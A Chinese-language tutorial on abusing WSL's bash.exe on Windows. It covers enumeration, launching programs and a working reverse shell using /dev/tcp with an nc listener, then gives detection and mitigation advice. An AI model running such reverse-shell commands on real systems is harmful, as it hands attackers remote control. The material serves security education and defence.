Bash.exe 是如果我們要用 WSL 的主要檔案,
在他為開發者帶來很多便利性的同時,也為攻擊者提供了更多元,更隱蔽的攻擊手法。
今天我們就一起來看看這個工具的利用方法吧!
Bash.exe 是 WSL 的主要進入點,是一個位於 C:\Windows\System32
的原生執行檔,
主要功能是啟動一個 Linux 發行版的 Bash Shell,
讓使用者可以直接在 Windows 上執行 Linux 指令。
那也因為它有著這些特性,所以也成為了一個可以很好利用的攻擊點:
bash.exe 的語法很直接,可以直接透過 -c
(command) 來呼叫電腦裡有的 Linux 發行版來執行指令
bash.exe -c <command>
<command>
,然後就立刻退出,不會進入 Interactive Shell。bash.exe -c "ls -la /mnt/c/Windows/System32"
這樣就可以列舉目標機器上的一些資訊
bash.exe -c "/mnt/c/Windows/System32/calc.exe"
這應該也算是一個殺傷力比較大的攻擊手法,
可以直接拿到對方的 Shell 進行操作,
這次攻擊我們需要兩台機器,
負責攻擊的 Kali:
nc -lvnp 4444
目標主機 Windows:
bash.exe -c "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"
拆開來看一下:
bash -i
:啟動一個互動式的 Bash Shell>& /dev/tcp/192.168.1.100/4444
:將這個 Shell 的標準輸出(stdout)和標準錯誤(stderr)都重導向到一個 TCP 連線。0>&1
:將標準輸入(stdin)也重導向到同一個連線。監控 bash.exe
的執行:紀錄並審計 bash.exe
的執行事件。特別要看他的參數 (-c
後面的內容),如果出現了 /dev/tcp
、curl
、wget
等敏感字串,就需要高度警惕。
父子行程關係分析:監控由 bash.exe
產生的子行程。例如,如果 bash.exe
建立了對外的網路連線,或產生了非預期的 Windows 處理程序,就可以當成是可疑的指標。
停用或限制 WSL:如果企業環境中並不需要使用 WSL 功能,最安全的作法就是透過群組原則 (Group Policy) 或「開啟或關閉 Windows 功能」來徹底停用它。如果只有特定開發人員需要,可以使用 AppLocker 或其他應用程式白名單軟體,限制只有授權的使用者可以執行 bash.exe
。
相信大家或多或少都有接觸過 WSL 來替代 Linux 使用(雖然有些功能還是不太方便就對了),
Bash.exe 的出現,模糊了 Windows, Linux 之間的界線,
在帶來很多方便性的同時,
也為攻擊者帶來更多攻擊管道跟隱蔽性,
希望這篇文章能帶大家認識一些些關於這個工具的用法,
期待看到更多人有更多新攻擊手法。